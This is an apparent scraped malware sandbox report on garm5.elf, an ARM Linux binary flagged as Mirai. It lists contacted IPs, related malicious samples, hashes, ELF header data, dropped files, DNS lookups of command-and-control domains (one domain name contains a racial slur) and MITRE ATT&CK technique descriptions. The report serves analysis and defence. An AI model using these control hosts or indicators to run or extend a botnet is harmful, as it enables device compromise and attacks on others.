41.129.114.71	unknown	Egypt	24863	LINKdotNET-ASEG	false
41.182.10.59	unknown	Namibia	36996	TELECOM-NAMIBIANA	false
41.228.223.129	unknown	Tunisia	37693	TUNISIANATN	false
197.194.23.174	unknown	Egypt	36992	ETISALAT-MISREG	true
41.10.179.231	unknown	South Africa	29975	VODACOM-ZA	false
41.54.60.184	unknown	South Africa	37168	CELL-CZA	false
197.50.250.247	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.149.186.150	unknown	South Africa	5713	SAIX-NETZA	false
156.237.86.245	unknown	Seychelles	134705	ITACE-AS-APItaceInternationalLimitedHK	false
156.80.44.83	unknown	United States	393649	BOOZ-AS2US	false
197.228.192.214	unknown	South Africa	37251	TELKOMMOBILEZA	false
156.46.206.241	unknown	United States	3527	NIH-NETUS	false
156.3.253.102	unknown	United States	2920	LACOEUS	false
197.228.192.207	unknown	South Africa	37251	TELKOMMOBILEZA	false
41.247.245.228	unknown	South Africa	5713	SAIX-NETZA	false
41.186.210.239	unknown	Rwanda	36890	MTNRW-ASNRW	false
41.102.161.27	unknown	Algeria	36947	ALGTEL-ASDZ	false
197.66.231.40	unknown	South Africa	16637	MTNNS-ASZA	false
156.110.22.170	unknown	United States	5078	ONENET-AS-1US	false
197.5.249.126	unknown	Tunisia	5438	ATI-TN	false
197.177.27.90	unknown	Kenya	33771	SAFARICOM-LIMITEDKE	false
197.247.65.28	unknown	Morocco	36925	ASMediMA	false
197.51.4.236	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.149.186.146	unknown	South Africa	5713	SAIX-NETZA	false
197.166.117.69	unknown	Egypt	24863	LINKdotNET-ASEG	false
156.182.145.52	unknown	Egypt	36992	ETISALAT-MISREG	false
197.226.240.45	unknown	Mauritius	23889	MauritiusTelecomMU	false
156.198.173.227	unknown	Egypt	8452	TE-ASTE-ASEG	false
156.189.23.105	unknown	Egypt	36992	ETISALAT-MISREG	false
41.70.6.181	unknown	Malawi	24835	RAYA-ASEG	false
156.8.126.120	unknown	South Africa	3741	ISZA	false
41.118.154.241	unknown	South Africa	16637	MTNNS-ASZA	false
156.70.138.72	unknown	United States	297	AS297US	false
41.239.87.12	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.251.205.214	unknown	Morocco	36903	MT-MPLSMA	false
197.173.59.6	unknown	South Africa	37168	CELL-CZA	false
156.124.58.144	unknown	United States	393504	XNSTGCA	false
41.237.9.88	unknown	Egypt	8452	TE-ASTE-ASEG	false
156.33.207.54	unknown	United States	3495	SENATE-ASUS	false
41.220.145.125	unknown	Algeria	327931	Optimum-Telecom-AlgeriaDZ	false
41.148.201.137	unknown	South Africa	5713	SAIX-NETZA	false
41.108.223.89	unknown	Algeria	36947	ALGTEL-ASDZ	false
197.10.162.24	unknown	Tunisia	5438	ATI-TN	false
197.123.112.23	unknown	Egypt	36992	ETISALAT-MISREG	false
41.157.30.36	unknown	South Africa	37168	CELL-CZA	false
41.217.104.19	unknown	Nigeria	37340	SpectranetNG	false
156.190.95.224	unknown	Egypt	36992	ETISALAT-MISREG	false
197.137.214.188	unknown	Kenya	36914	KENET-ASKE	false
41.164.24.106	unknown	South Africa	36937	Neotel-ASZA	false
41.102.161.35	unknown	Algeria	36947	ALGTEL-ASDZ	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
41.108.83.83	HvgfH8MXUB	Get hash	malicious	Mirai	Browse
	j7tlqm3Pxr	Get hash	malicious	Mirai	Browse
	8UZmiMnjPH	Get hash	malicious	Gafgyt Mirai	Browse
41.149.138.204	WIb2MCrHFc.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	mmOGSVmNxe.elf	Get hash	malicious	Mirai	Browse
	meihao.i686	Get hash	malicious	Mirai	Browse
41.169.49.26	na.elf	Get hash	malicious	Mirai	Browse
	fBd2A146xg.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	DRcqrj4ODx.elf	Get hash	malicious	Mirai	Browse
	l99tLLKEfY.elf	Get hash	malicious	Mirai, Moobot	Browse
	znRL8YPhwj.elf	Get hash	malicious	Mirai	Browse
	xjolpyQgyP	Get hash	malicious	Mirai	Browse
	5v1vGjsePz	Get hash	malicious	Mirai	Browse
	26PoH4fdTq	Get hash	malicious	Mirai	Browse
41.206.191.231	x86	Get hash	malicious	Mirai	Browse
	x86	Get hash	malicious	Mirai	Browse
	xvnvUdt89j	Get hash	malicious	Mirai	Browse
	x86	Get hash	malicious	Mirai	Browse
41.253.208.31	77.90.35.9-skid.mips-2024-07-30T07_10_50.elf	Get hash	malicious	Mirai, Moobot	Browse
197.223.62.13	JGqB0cW7Ls.elf	Get hash	malicious	Mirai	Browse
	bk.mips-20221002-0218.elf	Get hash	malicious	Mirai	Browse
	PRowKP58nv	Get hash	malicious	Unknown	Browse
197.173.155.0	4E2ggD3VyS.elf	Get hash	malicious	Mirai	Browse
	kRyuD5j8kW.elf	Get hash	malicious	Mirai	Browse
	O0yR6BYAeD	Get hash	malicious	Mirai	Browse
	ZpfJ4GGH8c	Get hash	malicious	Mirai	Browse
	DT5DNY63Rp	Get hash	malicious	Unknown	Browse
197.51.4.208	EGe6UveHCq.elf	Get hash	malicious	Mirai, Moobot	Browse
	gL5vZH3AvK.elf	Get hash	malicious	Mirai, Moobot	Browse
	nFQrAIp1Ow	Get hash	malicious	Mirai	Browse
	T925SInzXd	Get hash	malicious	Mirai	Browse
	GphnA1WzbX	Get hash	malicious	Mirai	Browse
	x86	Get hash	malicious	Mirai	Browse

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
magicalmalware.pirate	nshsh4.elf	Get hash	malicious	Mirai	Browse	138.197.155.229
	nrsh4.elf	Get hash	malicious	Mirai	Browse	178.128.99.13
	nshmpsl.elf	Get hash	malicious	Mirai	Browse	138.197.155.229
	nsharm5.elf	Get hash	malicious	Mirai	Browse	138.197.155.229
	gmips.elf	Get hash	malicious	Mirai	Browse	165.22.62.189
	nsharm7.elf	Get hash	malicious	Mirai	Browse	139.59.247.93
	garm.elf	Get hash	malicious	Mirai	Browse	138.68.66.39
	nshmips.elf	Get hash	malicious	Mirai	Browse	139.59.247.93
	garm.elf	Get hash	malicious	Mirai	Browse	157.245.110.224
	garm7.elf	Get hash	malicious	Mirai	Browse	138.197.141.146

Process:	/tmp/garm5.elf
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	15
Entropy (8bit):	3.640223928941852
Encrypted:	false
SSDEEP:	3:TgHYes5:Tgc
MD5:	A8BB09F36DBC398B603488A18B621840
SHA1:	847FA51CA212C2FD86DE545558F6A9D37EDD6299
SHA-256:	77BE2B76271EAD12A5D45036AE3DA283D60705A3A300742F12374AADDD6E8D0D
SHA-512:	51565D4F0F0A997C5DD14137071FDCE32AE3348E3839396E5C4DDF2910E6BCDA455620BA4AABBFAF9CBB916A82A15C1CE1D9CD0242F18756948E48DD3FB414E8
Malicious:	false
Reputation:	low
Preview:	/tmp/garm5.elf.

File type:	ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped
Entropy (8bit):	6.0819498256154985
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	garm5.elf
File size:	62'812 bytes
MD5:	af9b72ebf226219b1516edee3c4c2efb
SHA1:	cd7a127f753fa25f74c289845906f81321252972
SHA256:	77736a3eac006b421ac5f4481ce365b05a6d70853959842cabfb242c43c116a2
SHA512:	ebcf1f87eb7c8f8bbc1dcb118284946f2629b7af9c948b9dea86bef6392afda9fd5c2a89feae09da191237ba7fb3d110065ced0ce0013102d4f988e5b701635a
SSDEEP:	1536:aYLhBJkMmCTpE5GYYOaaqqYqtj8qAcQLRD:aYli3kYYOa0tgqgZ
TLSH:	C9532C81FDC15A13C6D02276FB2F138C772653A8D2EA7313AD259F21378B96B0E67641
File Content Preview:	.ELF...a..........(.........4...........4. ...(..................... ... ................................%..........Q.td..................................-...L."....4..........0@-.\P...0....S.0...P@...0... ....R......0...0...........0... ....R..... 0....S

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report garm5.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.03VzPu (deleted)

/tmp/qemu-open.063Uew (deleted)

/tmp/qemu-open.06978u (deleted)

/tmp/qemu-open.09abew (deleted)

/tmp/qemu-open.0BU8Qy (deleted)

/tmp/qemu-open.0BZZnv (deleted)

/tmp/qemu-open.0EFYZu (deleted)

/tmp/qemu-open.0Jf7bv (deleted)

/tmp/qemu-open.0KmeFv (deleted)

/tmp/qemu-open.0OdrOw (deleted)

/tmp/qemu-open.0QzFcx (deleted)

/tmp/qemu-open.0X1ghw (deleted)

/tmp/qemu-open.0acQGy (deleted)

/tmp/qemu-open.0gP0Hx (deleted)

/tmp/qemu-open.0hi0Fu (deleted)

/tmp/qemu-open.0jlf1w (deleted)

/tmp/qemu-open.0nzy2x (deleted)

/tmp/qemu-open.0uXGky (deleted)

/tmp/qemu-open.10y4wx (deleted)

/tmp/qemu-open.153MIy (deleted)

/tmp/qemu-open.15GjSw (deleted)

/tmp/qemu-open.15LBVv (deleted)

/tmp/qemu-open.1P4uGx (deleted)

/tmp/qemu-open.1ULkvv (deleted)

/tmp/qemu-open.1Xb6Cy (deleted)

/tmp/qemu-open.1d3GGy (deleted)

/tmp/qemu-open.1rV8av (deleted)

/tmp/qemu-open.1saVSu (deleted)

Linux Analysis Report
garm5.elf

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	ARM - ABI
ABI Version:	0
Entry Point Address:	0x8190
Flags:	0x2
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	62412
Section Header Size:	40
Number of Section Headers:	10
Header String Table Index:	9

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8094	0x94	0x18	0x0	0x6	AX	4
.text	PROGBITS	0x80b0	0xb0	0xd2a8	0x0	0x6	AX	16
.fini	PROGBITS	0x15358	0xd358	0x14	0x0	0x6	AX	4
.rodata	PROGBITS	0x1536c	0xd36c	0x19b4	0x0	0x2	A	4
.ctors	PROGBITS	0x1f000	0xf000	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x1f008	0xf008	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x1f014	0xf014	0x378	0x0	0x3	WA	4
.bss	NOBITS	0x1f38c	0xf38c	0x2178	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0xf38c	0x3e	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8000	0x8000	0xed20	0xed20	6.1616	0x5	R E	0x8000	.init .text .fini .rodata
LOAD	0xf000	0x1f000	0x1f000	0x38c	0x2504	2.7915	0x6	RW	0x8000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 24, 2024 11:04:49.915548086 CEST	192.168.2.23	152.53.15.127	0x7b73	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:04:54.960655928 CEST	192.168.2.23	192.71.166.92	0xcd64	Standard query (0)	howyoudoinbby.dyn. [malformed]	256	439	false
Oct 24, 2024 11:04:59.962210894 CEST	192.168.2.23	37.252.191.197	0xe196	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:05:06.418426037 CEST	192.168.2.23	194.36.144.87	0xb0df	Standard query (0)	howyoudoinbby.dyn. [malformed]	256	450	false
Oct 24, 2024 11:05:06.429781914 CEST	192.168.2.23	185.84.81.194	0x6908	Standard query (0)	therealniggas.parody. [malformed]	256	450	false
Oct 24, 2024 11:05:06.441473961 CEST	192.168.2.23	168.235.111.72	0x44f0	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:05:11.543183088 CEST	192.168.2.23	80.78.132.79	0x8ae9	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:05:18.002187967 CEST	192.168.2.23	173.208.212.205	0x60	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:05:23.009346962 CEST	192.168.2.23	185.181.61.24	0x400c	Standard query (0)	howyoudoinbby.dyn. [malformed]	256	467	false
Oct 24, 2024 11:05:23.140846968 CEST	192.168.2.23	65.21.1.106	0xfc25	Standard query (0)	swimminginboats.geek. [malformed]	256	467	false
Oct 24, 2024 11:05:23.168397903 CEST	192.168.2.23	65.21.1.106	0x2416	Standard query (0)	therealniggas.parody. [malformed]	256	467	false
Oct 24, 2024 11:05:29.631733894 CEST	192.168.2.23	51.158.108.203	0x4248	Standard query (0)	swimminginboats.geek. [malformed]	256	473	false
Oct 24, 2024 11:05:29.650652885 CEST	192.168.2.23	168.235.111.72	0x79b9	Standard query (0)	therealniggas.parody. [malformed]	256	473	false
Oct 24, 2024 11:05:29.741280079 CEST	192.168.2.23	80.78.132.79	0xf43	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:05:35.649245024 CEST	192.168.2.23	185.84.81.194	0x289d	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:05:42.073610067 CEST	192.168.2.23	94.247.43.254	0x1a7d	Standard query (0)	swimminginboats.geek. [malformed]	256	486	false
Oct 24, 2024 11:05:42.082129955 CEST	192.168.2.23	195.10.195.195	0xf996	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:05:47.995172977 CEST	192.168.2.23	94.247.43.254	0x3f55	Standard query (0)	therealniggas.parody. [malformed]	256	492	false
Oct 24, 2024 11:05:48.003700972 CEST	192.168.2.23	138.197.140.189	0xeb01	Standard query (0)	howyoudoinbby.dyn. [malformed]	256	492	false
Oct 24, 2024 11:05:48.104024887 CEST	192.168.2.23	80.78.132.79	0xa191	Standard query (0)	swimminginboats.geek. [malformed]	256	492	false
Oct 24, 2024 11:05:48.120968103 CEST	192.168.2.23	94.247.43.254	0x4c0c	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:05:54.578068018 CEST	192.168.2.23	185.84.81.194	0xdc62	Standard query (0)	howyoudoinbby.dyn. [malformed]	256	498	false
Oct 24, 2024 11:05:54.590523958 CEST	192.168.2.23	178.254.22.166	0xdcdb	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:05:59.595710039 CEST	192.168.2.23	152.53.15.127	0xecf4	Standard query (0)	therealniggas.parody. [malformed]	256	503	false
Oct 24, 2024 11:05:59.608371973 CEST	192.168.2.23	138.197.140.189	0x6e19	Standard query (0)	swimminginboats.geek. [malformed]	256	503	false
Oct 24, 2024 11:06:06.294809103 CEST	192.168.2.23	178.254.22.166	0x921f	Standard query (0)	therealniggas.parody. [malformed]	256	510	false
Oct 24, 2024 11:06:11.300838947 CEST	192.168.2.23	103.1.206.179	0xf3ae	Standard query (0)	swimminginboats.geek. [malformed]	256	259	false
Oct 24, 2024 11:06:11.586719036 CEST	192.168.2.23	94.247.43.254	0x657a	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:06:18.034883976 CEST	192.168.2.23	37.252.191.197	0xd77b	Standard query (0)	swimminginboats.geek. [malformed]	256	266	false
Oct 24, 2024 11:06:18.057250023 CEST	192.168.2.23	94.247.43.254	0x2d75	Standard query (0)	howyoudoinbby.dyn. [malformed]	256	266	false
Oct 24, 2024 11:06:18.065772057 CEST	192.168.2.23	152.53.15.127	0xe31c	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:06:24.498302937 CEST	192.168.2.23	202.61.197.122	0x164f	Standard query (0)	swimminginboats.geek. [malformed]	256	272	false
Oct 24, 2024 11:06:24.510467052 CEST	192.168.2.23	152.53.15.127	0xa1c2	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:06:30.929904938 CEST	192.168.2.23	51.158.108.203	0xe538	Standard query (0)	howyoudoinbby.dyn. [malformed]	256	278	false
Oct 24, 2024 11:06:30.950299025 CEST	192.168.2.23	192.71.166.92	0xb827	Standard query (0)	swimminginboats.geek. [malformed]	256	279	false
Oct 24, 2024 11:06:35.953625917 CEST	192.168.2.23	88.198.92.222	0x8e7b	Standard query (0)	therealniggas.parody. [malformed]	256	284	false
Oct 24, 2024 11:06:40.964895964 CEST	192.168.2.23	173.208.212.205	0x938	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:06:52.372591019 CEST	192.168.2.23	217.160.70.42	0x8d00	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:06:58.846124887 CEST	192.168.2.23	94.247.43.254	0x2f69	Standard query (0)	howyoudoinbby.dyn. [malformed]	256	306	false
Oct 24, 2024 11:06:58.854310989 CEST	192.168.2.23	70.34.254.19	0x80b3	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:07:03.857768059 CEST	192.168.2.23	138.197.140.189	0x69b5	Standard query (0)	therealniggas.parody. [malformed]	256	311	false
Oct 24, 2024 11:07:03.964543104 CEST	192.168.2.23	81.169.136.222	0x1548	Standard query (0)	swimminginboats.geek. [malformed]	256	311	false
Oct 24, 2024 11:07:10.448481083 CEST	192.168.2.23	152.53.15.127	0xbe4e	Standard query (0)	swimminginboats.geek. [malformed]	256	318	false
Oct 24, 2024 11:07:10.460340977 CEST	192.168.2.23	195.10.195.195	0x7ea1	Standard query (0)	howyoudoinbby.dyn. [malformed]	256	318	false
Oct 24, 2024 11:07:10.468672991 CEST	192.168.2.23	109.91.184.21	0xd77d	Standard query (0)	therealniggas.parody. [malformed]	256	318	false
Oct 24, 2024 11:07:10.500040054 CEST	192.168.2.23	195.10.195.195	0x96ff	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:07:16.878134012 CEST	192.168.2.23	173.208.212.205	0x4a9a	Standard query (0)	howyoudoinbby.dyn. [malformed]	256	325	false
Oct 24, 2024 11:07:17.003633022 CEST	192.168.2.23	194.36.144.87	0xa2fb	Standard query (0)	swimminginboats.geek. [malformed]	256	325	false
Oct 24, 2024 11:07:17.019666910 CEST	192.168.2.23	130.61.69.123	0x923a	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:07:22.937010050 CEST	192.168.2.23	195.10.195.195	0x1dc	Standard query (0)	howyoudoinbby.dyn. [malformed]	256	330	false
Oct 24, 2024 11:07:22.945717096 CEST	192.168.2.23	194.36.144.87	0xfc97	Standard query (0)	therealniggas.parody. [malformed]	256	330	false
Oct 24, 2024 11:07:22.957485914 CEST	192.168.2.23	173.208.212.205	0xa5ab	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:07:27.963965893 CEST	192.168.2.23	65.21.1.106	0x204f	Standard query (0)	swimminginboats.geek. [malformed]	256	335	false
Oct 24, 2024 11:07:33.919830084 CEST	192.168.2.23	81.169.136.222	0x5595	Standard query (0)	therealniggas.parody. [malformed]	256	341	false
Oct 24, 2024 11:07:33.949966908 CEST	192.168.2.23	70.34.254.19	0xd65d	Standard query (0)	swimminginboats.geek. [malformed]	256	342	false
Oct 24, 2024 11:07:38.952431917 CEST	192.168.2.23	178.254.22.166	0xc1a3	Standard query (0)	howyoudoinbby.dyn. [malformed]	256	347	false
Oct 24, 2024 11:07:43.956249952 CEST	192.168.2.23	37.252.191.197	0x7e02	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:07:49.871308088 CEST	192.168.2.23	185.181.61.24	0x68f7	Standard query (0)	swimminginboats.geek. [malformed]	256	357	false
Oct 24, 2024 11:07:49.907634020 CEST	192.168.2.23	65.21.1.106	0x2d20	Standard query (0)	therealniggas.parody. [malformed]	256	357	false
Oct 24, 2024 11:07:49.938345909 CEST	192.168.2.23	173.208.212.205	0x8ec8	Standard query (0)	howyoudoinbby.dyn. [malformed]	256	358	false
Oct 24, 2024 11:07:50.067086935 CEST	192.168.2.23	80.152.203.134	0x5946	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:07:56.022974968 CEST	192.168.2.23	178.254.22.166	0x2a57	Standard query (0)	swimminginboats.geek. [malformed]	256	364	false
Oct 24, 2024 11:08:01.027257919 CEST	192.168.2.23	80.78.132.79	0x6bf5	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:08:07.467991114 CEST	192.168.2.23	168.235.111.72	0x41c2	Standard query (0)	swimminginboats.geek. [malformed]	256	375	false
Oct 24, 2024 11:08:07.623935938 CEST	192.168.2.23	65.21.1.106	0xb09d	Standard query (0)	howyoudoinbby.dyn. [malformed]	256	375	false
Oct 24, 2024 11:08:07.658021927 CEST	192.168.2.23	80.152.203.134	0xc303	Standard query (0)	therealniggas.parody. [malformed]	256	375	false
Oct 24, 2024 11:08:07.688287973 CEST	192.168.2.23	94.247.43.254	0xa686	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:08:14.108028889 CEST	192.168.2.23	80.152.203.134	0x10e9	Standard query (0)	swimminginboats.geek. [malformed]	256	382	false
Oct 24, 2024 11:08:14.162391901 CEST	192.168.2.23	194.36.144.87	0xa79d	Standard query (0)	howyoudoinbby.dyn. [malformed]	256	382	false
Oct 24, 2024 11:08:14.174204111 CEST	192.168.2.23	217.160.70.42	0x64a9	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:08:20.672236919 CEST	192.168.2.23	88.198.92.222	0xaa6	Standard query (0)	howyoudoinbby.dyn. [malformed]	256	388	false

Start time (UTC):	09:04:48
Start date (UTC):	24/10/2024
Path:	/tmp/garm5.elf
Arguments:	/tmp/garm5.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre